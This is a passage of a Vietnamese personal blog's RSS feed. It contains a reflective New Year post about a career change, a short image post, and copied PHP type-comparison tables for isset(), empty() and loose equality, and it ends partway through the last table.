lên 70-80km/h mà lại thấy thích thú, cái cảm giác gió tạt vào mặt, dường như lúc đó mình quên được mọi thứ, bỏ lại đằng sau tất cả.&lt;br /&gt;&lt;br /&gt;Thi thoảng vẫn có người hỏi sao trước theo xây dựng mà giờ lại làm nghề này, f*ck!&lt;br /&gt;Ai biết cũng nói mình dại, rồi lại hỏi có tiếc không?&lt;br /&gt;- Tiếc à, tất nhiên là tiếc, miếng ngon thế kia cơ mà, leo lên cao cũng đâu có khó, cơ hội phải nói là không phải ai cũng có sẵn như thế cơ mà, đéo ai chả biết cái ghế dựa đấy nó to lắm. Nếu ai cũng biết được cái ô đấy của mình thì còn chửi mình ngu cũng nên :)).&lt;br /&gt;Nhưng tiếc không có nghĩa là lúc nào nó cũng canh cánh trong lòng, không có nghĩa là mình "hối". Mình đéo quen làm theo sự sắp đặt cho dù là nó tốt cho mình !&lt;br /&gt;- Dại, đúng là dại, lý do thì to đùng ở trên đấy. Nhưng, lại phải nói lại, đéo ai bắt được mình làm cái gì khi mình không thích!&lt;br /&gt;&lt;br /&gt;2006 cũng thời gian này, quyết định rẽ khỏi cái hướng đó, mặc.&lt;br /&gt;&lt;br /&gt;Còn nhiều dự định quá, nhưng lấy đâu ra điều kiện để làm hết dự định ???&lt;br /&gt;&lt;br /&gt;Mỗi lúc nghe lại Mama said lại thấy sao nó thấm thía thế&lt;br /&gt;&lt;blockquote  style="color: rgb(51, 51, 255);font-family:verdana;"&gt;&lt;span style="font-size:85%;"&gt;Mama, now I'm coming home&lt;br /&gt;I'm not all you wished of me&lt;/span&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;object width="560" height="340"&gt;&lt;param name="movie" value="http://www.youtube.com/v/0T31qXmeupA&amp;amp;hl=en_US&amp;amp;fs=1&amp;amp;"&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;param name="allowscriptaccess" value="always"&gt;&lt;embed src="http://www.youtube.com/v/0T31qXmeupA&amp;amp;hl=en_US&amp;amp;fs=1&amp;amp;" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="560" height="340"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/311452429647504548-7656449053286385490?l=canhnm.opensource.com.vn' alt='' /&gt;&lt;/div&gt;</description><link>http://canhnm.opensource.com.vn/2010/01/nam-moi.html</link><author>noreply@blogger.com (canhnm)</author><thr:total>4</thr:total></item><item><guid isPermaLink='false'>tag:blogger.com,1999:blog-311452429647504548.post-838166843329413635</guid><pubDate>Thu, 10 Dec 2009 02:59:00 +0000</pubDate><atom:updated>2009-12-10T13:45:16.048+07:00</atom:updated><category domain='http://www.blogger.com/atom/ns#'>cô bé bán diêm</category><title>Cô bé bán diêm</title><description>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_OYXtKM3RM4c/SyBkPHzhzJI/AAAAAAAAAQI/2KyENSUyH24/s1600-h/cbbd_6170.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 480px; height: 750px;" src="http://4.bp.blogspot.com/_OYXtKM3RM4c/SyBkPHzhzJI/AAAAAAAAAQI/2KyENSUyH24/s400/cbbd_6170.jpg" alt="" id="BLOGGER_PHOTO_ID_5413436963055324306" border="0" /&gt;&lt;/a&gt;&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;&lt;span style="color: rgb(153, 0, 0);font-size:130%;" &gt;&lt;blockquote&gt;Thiên đường phải chăng là địa ngục ... &lt;/blockquote&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/311452429647504548-838166843329413635?l=canhnm.opensource.com.vn' alt='' /&gt;&lt;/div&gt;</description><link>http://canhnm.opensource.com.vn/2009/12/co-be-ban-diem.html</link><author>noreply@blogger.com (canhnm)</author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_OYXtKM3RM4c/SyBkPHzhzJI/AAAAAAAAAQI/2KyENSUyH24/s72-c/cbbd_6170.jpg' height='72' width='72'/><thr:total>0</thr:total></item><item><guid isPermaLink='false'>tag:blogger.com,1999:blog-311452429647504548.post-6531107312372955857</guid><pubDate>Wed, 28 Oct 2009 01:57:00 +0000</pubDate><atom:updated>2009-10-28T09:04:22.111+07:00</atom:updated><category domain='http://www.blogger.com/atom/ns#'>type comparison</category><category domain='http://www.blogger.com/atom/ns#'>php</category><title>isset() và empty () </title><description>Hôm nay thấy cái mail của toppic 1 bợn trong Professonal-PHP nói về vụ phân biệt 2 cái này, sực nhớ đôi lúc cũng hơi khựng chút với cái mớ type comparison :"&gt;. Tiện chép về sau còn dễ nhớ :&lt;br /&gt;&lt;span style="font-family: monospace;"&gt;&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;table class="doctable table"&gt;    &lt;caption&gt;&lt;b&gt;Comparisons of &lt;var class="varname"&gt;$x&lt;/var&gt; with PHP functions&lt;/b&gt;&lt;/caption&gt;         &lt;thead valign="middle"&gt;      &lt;tr valign="middle"&gt;       &lt;th&gt;Expression&lt;/th&gt;       &lt;th&gt;&lt;a href="http://www.php.net/manual/en/function.gettype.php" class="function"&gt;gettype()&lt;/a&gt;&lt;/th&gt;       &lt;th&gt;&lt;a href="http://www.php.net/manual/en/function.empty.php" class="function"&gt;empty()&lt;/a&gt;&lt;/th&gt;       &lt;th&gt;&lt;a href="http://www.php.net/manual/en/function.is-null.php" class="function"&gt;is_null()&lt;/a&gt;&lt;/th&gt;       &lt;th&gt;&lt;a href="http://www.php.net/manual/en/function.isset.php" class="function"&gt;isset()&lt;/a&gt;&lt;/th&gt;       &lt;th&gt;&lt;a href="http://www.php.net/manual/en/language.types.boolean.php" class="type boolean"&gt;boolean&lt;/a&gt; : &lt;i&gt;if($x)&lt;/i&gt;&lt;/th&gt;      &lt;/tr&gt;      &lt;/thead&gt;      &lt;tbody class="tbody" valign="middle"&gt;      &lt;tr valign="middle"&gt;       &lt;td align="left"&gt;&lt;i&gt;$x = "";&lt;/i&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;a href="http://www.php.net/manual/en/language.types.string.php" class="type string"&gt;string&lt;/a&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;TRUE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;TRUE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;      &lt;/tr&gt;       &lt;tr valign="middle"&gt;       &lt;td align="left"&gt;&lt;i&gt;$x = null&lt;/i&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;a href="http://www.php.net/manual/en/language.types.null.php" class="type NULL"&gt;NULL&lt;/a&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;TRUE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;TRUE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;      &lt;/tr&gt;       &lt;tr valign="middle"&gt;       &lt;td align="left"&gt;&lt;i&gt;var $x;&lt;/i&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;a href="http://www.php.net/manual/en/language.types.null.php" class="type NULL"&gt;NULL&lt;/a&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;TRUE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;TRUE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;      &lt;/tr&gt;       &lt;tr valign="middle"&gt;       &lt;td align="left"&gt;&lt;var class="varname"&gt;$x&lt;/var&gt; is undefined&lt;/td&gt;       &lt;td align="left"&gt;&lt;a href="http://www.php.net/manual/en/language.types.null.php" class="type NULL"&gt;NULL&lt;/a&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;TRUE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;TRUE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;      &lt;/tr&gt;       &lt;tr valign="middle"&gt;       &lt;td align="left"&gt;&lt;i&gt;$x = array();&lt;/i&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;a href="http://www.php.net/manual/en/language.types.array.php" class="type array"&gt;array&lt;/a&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;TRUE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;TRUE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;      &lt;/tr&gt;       &lt;tr valign="middle"&gt;       &lt;td align="left"&gt;&lt;i&gt;$x = false;&lt;/i&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;a href="http://www.php.net/manual/en/language.types.boolean.php" class="type boolean"&gt;boolean&lt;/a&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;TRUE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;TRUE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;      &lt;/tr&gt;       &lt;tr valign="middle"&gt;       &lt;td align="left"&gt;&lt;i&gt;$x = true;&lt;/i&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;a href="http://www.php.net/manual/en/language.types.boolean.php" class="type boolean"&gt;boolean&lt;/a&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;TRUE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;TRUE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;      &lt;/tr&gt;       &lt;tr valign="middle"&gt;       &lt;td align="left"&gt;&lt;i&gt;$x = 1;&lt;/i&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;a href="http://www.php.net/manual/en/language.types.integer.php" class="type integer"&gt;integer&lt;/a&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;TRUE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;TRUE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;      &lt;/tr&gt;       &lt;tr valign="middle"&gt;       &lt;td align="left"&gt;&lt;i&gt;$x = 42;&lt;/i&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;a href="http://www.php.net/manual/en/language.types.integer.php" class="type integer"&gt;integer&lt;/a&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;TRUE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;TRUE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;      &lt;/tr&gt;       &lt;tr valign="middle"&gt;       &lt;td align="left"&gt;&lt;i&gt;$x = 0;&lt;/i&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;a href="http://www.php.net/manual/en/language.types.integer.php" class="type integer"&gt;integer&lt;/a&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;TRUE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;TRUE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;      &lt;/tr&gt;       &lt;tr valign="middle"&gt;       &lt;td align="left"&gt;&lt;i&gt;$x = -1;&lt;/i&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;a href="http://www.php.net/manual/en/language.types.integer.php" class="type integer"&gt;integer&lt;/a&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;TRUE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;TRUE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;      &lt;/tr&gt;       &lt;tr valign="middle"&gt;       &lt;td align="left"&gt;&lt;i&gt;$x = "1";&lt;/i&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;a href="http://www.php.net/manual/en/language.types.string.php" class="type string"&gt;string&lt;/a&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;TRUE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;TRUE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;      &lt;/tr&gt;       &lt;tr valign="middle"&gt;       &lt;td align="left"&gt;&lt;i&gt;$x = "0";&lt;/i&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;a href="http://www.php.net/manual/en/language.types.string.php" class="type string"&gt;string&lt;/a&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;TRUE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;TRUE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;      &lt;/tr&gt;       &lt;tr valign="middle"&gt;       &lt;td align="left"&gt;&lt;i&gt;$x = "-1";&lt;/i&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;a href="http://www.php.net/manual/en/language.types.string.php" class="type string"&gt;string&lt;/a&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;TRUE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;TRUE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;      &lt;/tr&gt;       &lt;tr valign="middle"&gt;       &lt;td align="left"&gt;&lt;i&gt;$x = "php";&lt;/i&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;a href="http://www.php.net/manual/en/language.types.string.php" class="type string"&gt;string&lt;/a&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;TRUE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;TRUE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;      &lt;/tr&gt;       &lt;tr valign="middle"&gt;       &lt;td align="left"&gt;&lt;i&gt;$x = "true";&lt;/i&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;a href="http://www.php.net/manual/en/language.types.string.php" class="type string"&gt;string&lt;/a&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;TRUE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;TRUE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;      &lt;/tr&gt;       &lt;tr valign="middle"&gt;       &lt;td align="left"&gt;&lt;i&gt;$x = "false";&lt;/i&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;a href="http://www.php.net/manual/en/language.types.string.php" class="type string"&gt;string&lt;/a&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;TRUE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;TRUE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;      &lt;/tr&gt;      &lt;/tbody&gt;       &lt;/table&gt; &lt;p&gt;  &lt;/p&gt;   &lt;p class="para"&gt;   &lt;/p&gt;&lt;table class="doctable table"&gt;    &lt;caption&gt;&lt;b&gt;Loose comparisons with &lt;i&gt;==&lt;/i&gt;&lt;/b&gt;&lt;/caption&gt;         &lt;thead valign="middle"&gt;      &lt;tr valign="middle"&gt;       &lt;th&gt;&lt;br /&gt;&lt;/th&gt;       &lt;th&gt;&lt;b&gt;&lt;tt class="constant"&gt;TRUE&lt;/tt&gt;&lt;/b&gt;&lt;/th&gt;       &lt;th&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/th&gt;       &lt;th&gt;&lt;i&gt;1&lt;/i&gt;&lt;/th&gt;       &lt;th&gt;&lt;i&gt;0&lt;/i&gt;&lt;/th&gt;       &lt;th&gt;&lt;i&gt;-1&lt;/i&gt;&lt;/th&gt;       &lt;th&gt;&lt;i&gt;"1"&lt;/i&gt;&lt;/th&gt;       &lt;th&gt;&lt;i&gt;"0"&lt;/i&gt;&lt;/th&gt;       &lt;th&gt;&lt;i&gt;"-1"&lt;/i&gt;&lt;/th&gt;       &lt;th&gt;&lt;b&gt;&lt;tt class="constant"&gt;NULL&lt;/tt&gt;&lt;/b&gt;&lt;/th&gt;       &lt;th&gt;&lt;i&gt;array()&lt;/i&gt;&lt;/th&gt;       &lt;th&gt;&lt;i&gt;"php"&lt;/i&gt;&lt;/th&gt;       &lt;th&gt;&lt;i&gt;""&lt;/i&gt;&lt;/th&gt;      &lt;/tr&gt;      &lt;/thead&gt;      &lt;tbody class="tbody" valign="middle"&gt;      &lt;tr valign="middle"&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;TRUE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;TRUE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;TRUE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;TRUE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;TRUE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;TRUE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;TRUE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;      &lt;/tr&gt;       &lt;tr valign="middle"&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;TRUE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;TRUE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;TRUE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;TRUE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;TRUE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;TRUE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;      &lt;/tr&gt;       &lt;tr valign="middle"&gt;       &lt;td align="left"&gt;&lt;i&gt;1&lt;/i&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;TRUE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;TRUE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;TRUE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;      &lt;/tr&gt;       &lt;tr valign="middle"&gt;       &lt;td align="left"&gt;&lt;i&gt;0&lt;/i&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;TRUE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;TRUE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt class="constant"&gt;FALSE&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;       &lt;td align="left"&gt;&lt;b&gt;&lt;tt 